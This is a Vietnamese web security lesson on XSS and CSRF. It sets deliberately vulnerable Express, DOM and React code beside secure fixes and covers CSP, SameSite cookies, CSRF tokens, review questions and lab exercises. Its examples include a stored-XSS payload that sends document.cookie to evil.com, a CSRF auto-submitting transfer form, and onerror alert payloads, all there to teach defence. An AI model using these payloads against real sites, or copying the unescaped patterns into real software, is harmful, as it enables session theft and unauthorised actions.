Mục tiêu học tập
- Hiểu 3 loại XSS: Stored, Reflected, DOM-based — kèm code ví dụ
- Biết các kỹ thuật phòng chống XSS: output encoding, framework escape, CSP
- Hiểu cơ chế CSRF và cách trình duyệt gửi cookie
- Phòng CSRF bằng SameSite cookie, CSRF token, double-submit cookie
- Phân biệt rõ XSS vs CSRF — hai loại tấn công thường bị nhầm lẫn
1. Cross-Site Scripting (XSS) — Khi browser chạy code của attacker
XSS xảy ra khi attacker chèn được JavaScript chạy trong trình duyệt của victim, dưới context (origin) của trang web mục tiêu.
Vì sao XSS nguy hiểm?
JavaScript chạy trong trang web có thể:
- Đọc cookie (nếu không có
HttpOnly) → đánh cắp session - Đọc DOM → đánh cắp form data (số thẻ, password đang nhập)
- Gửi request thay user (
fetch('/api/transfer', {...})với credential của user) - Keylog mọi phím user gõ
- Redirect đến phishing page giống y hệt
XSS = code execution trong session của user. Đối với attacker, đây là quyền lớn ngang quyền của user thật.
2. Stored XSS — Lưu trong DB, mỗi user load đều bị
Cách hoạt động
Code vulnerable (Node + Express + Pug)
// VULNERABLE — server side
app.post('/comments', (req, res) => {
db.insert('comments', { body: req.body.text }); // lưu raw
res.redirect('/comments');
});
app.get('/comments', async (req, res) => {
const comments = await db.all('comments');
// Template render với HTML không escape:
let html = comments.map(c => `<div>${c.body}</div>`).join('');
res.send(`<html><body>${html}</body></html>`);
});
Attacker post comment với body:
<script>fetch('https://evil.com/?c='+document.cookie)</script>
Mỗi user xem trang /comments → cookie bị gửi tới evil.com.
Code secure
const escapeHtml = (str) => str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
app.get('/comments', async (req, res) => {
const comments = await db.all('comments');
let html = comments.map(c => `<div>${escapeHtml(c.body)}</div>`).join('');
res.send(`<html><body>${html}</body></html>`);
});
Hoặc tốt hơn: dùng template engine mặc định escape (Pug, Handlebars {{ }}, EJS <%= %>, Jinja {{ }}).
3. Reflected XSS — Payload trong URL, server "reflect" lại
Cách hoạt động
Attacker dụ victim click link (qua email, chat, ad) → server reflect payload → JS chạy trong browser victim.
Code vulnerable (Express)
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Kết quả cho: ${q}</h1>`); // không escape!
});
Code secure
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Kết quả cho: ${escapeHtml(q)}</h1>`);
});
Hoặc dùng framework: React, Vue, Svelte mặc định escape mọi text content.
4. DOM-based XSS — Lỗ hổng ở client-side JS
Cách hoạt động
Lỗ hổng không ở server — server trả response sạch, nhưng client-side JS đọc URL/hash/postMessage rồi nhúng vào DOM unsafe.
Code vulnerable
<!-- Trang welcome.html -->
<script>
const name = new URL(location.href).searchParams.get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>
Attacker gửi link:
https://example.com/welcome.html?name=<img src=x onerror=alert(1)>
Server không thấy payload (browser không gửi query string khi xử lý hash; tham số xử lý hoàn toàn ở client). Browser victim execute onerror.
Code secure
<script>
const name = new URL(location.href).searchParams.get('name');
// textContent KHÔNG parse HTML
document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>
Quy tắc: dùng textContent / innerText thay vì innerHTML. Trong React, dùng {value} thay vì dangerouslySetInnerHTML.
React example — DOM-based XSS
// VULNERABLE
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// SECURE — React auto escape
function Comment({ text }) {
return <div>{text}</div>;
}
// Nếu phải render HTML từ user (markdown, rich text):
// Bắt buộc sanitize trước
import DOMPurify from 'dompurify';
function MarkdownView({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
5. Output Encoding — Đúng context, đúng cách
Encoding phụ thuộc vào vị trí data được đặt trong HTML.
| Context | Encoding | Ví dụ |
|---|---|---|
| HTML body | HTML entity encode | <div>{{ user.name }}</div> |
| HTML attribute | HTML entity encode + quote | <input value="{{ user.name }}"> |
| JavaScript string | JS string escape | var name = "{{ user.name |escapejs }}" |
| URL parameter | URL encode | <a href="/u?n={{ user.name |urlencode }}"> |
| CSS value | CSS escape | style="color: {{ ... }}" — avoid |
Quy tắc vàng: không bao giờ đặt untrusted data vào
<script>,<style>,on*attributes, hoặchref="javascript:...". Đây là sinks không có cách escape an toàn.
6. Content Security Policy (CSP) — Lớp phòng thủ thứ hai
CSP là HTTP header chỉ định nguồn nào browser được phép load resource (script, style, image, font...) và execute. Nếu attacker chèn được
<script>nhưng CSP không cho execute → XSS bị chặn.
Ví dụ basic policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:;
Phân tích:
default-src 'self'— mặc định chỉ cho phép load từ cùng originscript-src 'self' https://cdn.example.com— script chỉ từ origin chính + CDN whiteliststyle-src 'self' 'unsafe-inline'— CSS từ origin + cho phép inline<style>(compromise vì legacy)img-src 'self' data:— image từ origin + data URI
Inline script — vấn đề và solution
CSP nghiêm khắc không cho phép <script>...</script> inline mặc định. Solution:
<!-- 1. Nonce-based -->
<!-- Header: Content-Security-Policy: script-src 'nonce-r4nd0m123' -->
<script nonce="r4nd0m123">
console.log('chạy được vì nonce match');
</script>
<!-- 2. Hash-based -->
<!-- Header: script-src 'sha256-abc123...' (hash của nội dung script) -->
<script>console.log('hello');</script>
<!-- Browser tự tính hash, so với policy -->
<!-- 3. 'unsafe-inline' — KHÔNG NÊN, tắt phần lớn lợi ích của CSP -->
Nonce phải khác nhau mỗi request và cryptographically random. Server tạo nonce, gắn vào header + vào tag
<script nonce="...">.
Report-Only mode
Khi mới triển khai, dùng report-only để monitor mà không break trang:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation
Browser sẽ gửi POST đến /csp-violation mỗi khi policy bị vi phạm, nhưng vẫn cho load — bạn có data để tune policy trước khi enforce.
CSP không phải silver bullet
CSP không thay thế output encoding — nó là defense in depth:
- Output encoding chặn XSS ngay từ đầu (chống chèn payload)
- CSP chặn execution kể cả khi payload chèn được (giảm impact)
Cả hai phải có cùng nhau.
7. Cross-Site Request Forgery (CSRF) — Lợi dụng trình duyệt tự gửi cookie
Cách hoạt động
1. User login vào bank.com, browser lưu session cookie
2. User (chưa logout) truy cập evil.com
evil.com chứa:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit()</script>
3. Browser SUBMIT form tới bank.com
Browser TỰ ĐỘNG gửi kèm cookie của bank.com
↓
bank.com nhìn cookie hợp lệ → thực hiện transfer
Điểm cốt lõi
- CSRF dựa vào browser tự động gửi cookie với mọi request đến origin tương ứng
- Attacker không cần đọc cookie — chỉ cần buộc browser gửi nó
- Victim đang login, attacker không cần biết password
XSS vs CSRF — đừng nhầm lẫn
| XSS | CSRF | |
|---|---|---|
| Attacker chạy code ở đâu | Browser victim, origin của site nạn nhân | Không chạy code; chỉ buộc browser gửi request |
| Cần victim login? | Không bắt buộc (nhưng nguy hơn nếu login) | Bắt buộc — dùng session của victim |
| Đánh cắp được data? | Có (cookie, form, DOM) | Không, chỉ "thực hiện hành động" |
| Mitigation chính | Output encoding, CSP | SameSite cookie, CSRF token |
| Severity | Cao hơn (full account takeover) | Trung bình-cao (action thay user) |
8. Phòng CSRF — Phương pháp 1: SameSite Cookie
SameSite là attribute của cookie, kiểm soát browser có gửi cookie cross-site hay không.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Ba giá trị SameSite
| Value | Hành vi | Browser gửi cookie khi? |
|---|---|---|
| Strict | Chỉ gửi nếu request từ cùng site | User trong tab của site, click link nội bộ, submit form nội bộ |
| Lax (default mới) | Gửi cho top-level navigation GET an toàn | User gõ URL, click link từ site khác → GET có cookie. POST cross-site → KHÔNG cookie |
| None | Gửi cross-site như bình thường | Mọi request (BẮT BUỘC kèm Secure) |
Khi nào dùng cái nào
- Strict: tốt nhất cho cookie session bank, admin panel. Nhưng UX kém — user click từ Google search vào site sẽ bị logout
- Lax: balance tốt — chặn CSRF qua POST/PUT/DELETE, vẫn cho user navigation. Default hiện nay của Chrome/Firefox cho cookie không khai báo SameSite
- None: chỉ dùng nếu thực sự cần cross-site (third-party widget, embed). Bắt buộc
Secure
Vấn đề: GET có side effect
SameSite=Lax vẫn cho GET cross-site đi kèm cookie. Nếu app có:
GET /transfer?to=X&amount=100
→ vẫn bị CSRF. Phải:
- Không bao giờ dùng GET cho action thay đổi state (REST best practice)
- Hoặc dùng SameSite=Strict
- Hoặc dùng CSRF token bổ sung
9. Phòng CSRF — Phương pháp 2: CSRF Token
Server tạo token random ngẫu nhiên, embed vào form HTML. Khi user submit, token phải match — attacker không thể đoán/đọc token (origin policy không cho đọc HTML cross-site).
Synchronizer Token Pattern
1. User GET /transfer-page
Server tạo csrf_token = "x7K9..." (random per session)
Server lưu csrf_token vào server-side session
Server render:
<form>
<input type="hidden" name="csrf_token" value="x7K9...">
<input name="amount">
</form>
2. User submit form
Server compare req.body.csrf_token === session.csrf_token
Match → proceed; Mismatch → 403
Code Node + Express
const csurf = require('csurf');
app.use(csurf()); // middleware
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// form.ejs:
// <form method="POST" action="/transfer">
// <input type="hidden" name="_csrf" value="<%= csrfToken %>">
// ...
// </form>
app.post('/transfer', (req, res) => {
// csurf tự verify req.body._csrf
doTransfer(req.body);
res.redirect('/done');
});
Code Python + Django
Django tự động bật CSRF protection:
<form method="POST">
{% csrf_token %}
<input name="amount">
</form>
10. Phòng CSRF — Phương pháp 3: Double-Submit Cookie
Dùng cho stateless API (không có server session). Token được gửi qua cả cookie lẫn header/body — attacker không đặt được header cross-origin.
Flow
1. Server set cookie: csrf=randomToken
2. JS đọc cookie csrf, gửi vào header X-CSRF-Token cho mọi request mutating
3. Server verify: req.cookies.csrf === req.headers['x-csrf-token']
Tại sao an toàn:
- Attacker không đọc được cookie cross-origin (browser cấm)
- Attacker đặt được cookie value (nếu có XSS) nhưng không đặt được header cross-origin trong simple form submission
- CORS preflight với header tuỳ chỉnh bị browser chặn cross-origin
Code
// Server (Express)
app.use((req, res, next) => {
if (!req.cookies.csrf) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf', token, { sameSite: 'lax', secure: true });
}
next();
});
app.post('/api/transfer', (req, res) => {
const cookieToken = req.cookies.csrf;
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF' });
}
// proceed
});
// Client
function getCookie(name) {
return document.cookie.split('; ').find(c => c.startsWith(name+'='))?.split('=')[1];
}
await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('csrf'),
},
body: JSON.stringify({ amount: 100 }),
});
Cookie chứa CSRF token KHÔNG được dùng HttpOnly — JS cần đọc được. Nhưng cookie session vẫn phải HttpOnly.
11. So sánh XSS vs CSRF
| Tiêu chí | XSS | CSRF |
|---|---|---|
| Attack vector | Chèn JS chạy trong browser victim | Buộc browser victim gửi request kèm cookie |
| Cần victim làm gì | Visit trang chứa payload | Visit trang attacker khi đang login site target |
| Code chạy ở đâu | Trong browser victim, origin của site target | Không có code thực thi của attacker |
| Đọc được response? | Có (same-origin) | Không (browser block cross-origin read) |
| Đánh cắp data? | Có | Không trực tiếp |
| OWASP category | A03 Injection | A01 Broken Access Control (hoặc A05) |
| Mitigation chính | Output encoding, CSP, framework auto-escape | SameSite cookie, CSRF token, CORS |
| HttpOnly cookie giúp? | Có — JS không đọc được session cookie | Không — browser vẫn gửi cookie tự động |
| SameSite cookie giúp? | Không | Có |
| CSP giúp? | Có (chặn execute) | Không |
Tương quan
XSS có thể bypass mọi CSRF protection:
- JS từ XSS chạy trong origin → đọc được CSRF token → tự đính kèm
- → Fix XSS quan trọng hơn fix CSRF. Một XSS = mất hết.
12. Câu hỏi ôn tập
-
Phân biệt Stored XSS và Reflected XSS qua một câu duy nhất.
Xem đáp án
Stored XSS: payload được lưu trong DB/storage của server và serve cho mọi user vào trang (mỗi user load đều bị). Reflected XSS: payload nằm trong URL/request một lần, server reflect trở lại trong response — chỉ user click link độc mới bị (cần social engineering).
Stored thường nghiêm trọng hơn (impact rộng), Reflected dễ tìm hơn (test request là biết).
-
Tại sao DOM-based XSS không thể chặn bằng WAF/server-side validation?
Xem đáp án
DOM-based XSS xảy ra hoàn toàn ở client-side — payload có thể nằm trong URL fragment (
#...) mà browser không gửi lên server, hoặc trongpostMessage,localStorage. Server không thấy được payload nên WAF/validation cũng không thể chặn. Mitigation phải làm ở client: dùngtextContentthayinnerHTML, không trustlocation.hash, dùng framework reactive (React, Vue) escape tự động, audit JS sinks với tool như DOMPurify. -
Một dev nói "Tôi đã bật HttpOnly cho session cookie, vậy XSS không nguy hiểm nữa." Đúng hay sai?
Xem đáp án
Sai. HttpOnly chỉ ngăn JS đọc session cookie qua
document.cookie— nhưng JS từ XSS vẫn có thể:- Gọi
fetch('/api/transfer', {...})với credential của user (browser tự gửi cookie) - Đọc DOM, đánh cắp form data đang nhập (password, credit card)
- Keylog, screenshot DOM
- Phishing UI overlay
- Lấy CSRF token và bypass CSRF protection
HttpOnly là defense in depth — bắt buộc nhưng không đủ. Phải fix gốc XSS.
- Gọi
-
SameSite=Lax có chặn được CSRF tấn công vào endpoint
GET /api/delete?id=5không? Vì sao?Xem đáp án
Không. SameSite=Lax cho phép cookie đi kèm top-level GET navigation cross-site. Nếu attacker dụ user click link
<a href="https://target.com/api/delete?id=5">click</a>, browser sẽ navigate GET với cookie → endpoint thực hiện delete.Hai cách fix: (1) Không bao giờ dùng GET cho mutating action — REST best practice, dùng POST/DELETE; (2) Dùng SameSite=Strict (nhưng UX xấu); (3) Cộng thêm CSRF token verify.
Bài học: REST verb đúng là một biện pháp bảo mật, không chỉ convention.
-
CSP có header
script-src 'self' 'unsafe-inline'— vấn đề gì?Xem đáp án
'unsafe-inline'cho phép bất kỳ inline<script>nào execute. Nếu attacker chèn được Stored XSS với<script>alert(1)</script>, CSP sẽ cho chạy → CSP gần như vô hiệu chống XSS.Fix: bỏ
'unsafe-inline', dùng nonce-based ('nonce-xxxx') hoặc hash-based ('sha256-xxxx'). Khi đó browser chỉ execute script có nonce/hash trùng policy — payload XSS không có nonce sẽ bị block.Đây là lỗi CSP phổ biến nhất khi triển khai vội — bật CSP nhưng giữ
'unsafe-inline'để không break legacy code, và policy không còn protection.
Bài tập thực hành
# 1. Tự exploit XSS trong OWASP Juice Shop
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Tìm challenge "DOM XSS" và "Reflected XSS"
# 2. Test CSP của site bạn quản lý
curl -I https://yoursite.com | grep -i content-security
# Hoặc dùng tool:
# https://csp-evaluator.withgoogle.com/
# 3. Test SameSite cookie
# Set cookie với SameSite=Lax trên site A
# Tạo trang trên site B (localhost khác port = "cross-site")
# Submit form POST tới site A, dùng DevTools Network kiểm tra
# request có gửi cookie không
# 4. Code lab: viết Express app với hai endpoint
# /vulnerable — không escape, /safe — có escape
# Thử payload: <img src=x onerror=alert(1)>
# So sánh response
# 5. Sanitize HTML do user nhập (rich text editor)
npm install dompurify jsdom
node -e "
const {JSDOM} = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
console.log(DOMPurify.sanitize('<p>ok</p><script>bad()</script>'));
// Output: <p>ok</p>
"
Tài liệu tham khảo chính thức
- OWASP XSS Prevention Cheat Sheet
- OWASP CSRF Prevention Cheat Sheet
- MDN — Content-Security-Policy
- MDN — SameSite cookies
- Google CSP Evaluator
Tiếp theo: Ngày 4 — SQL Injection, SSRF, IDOR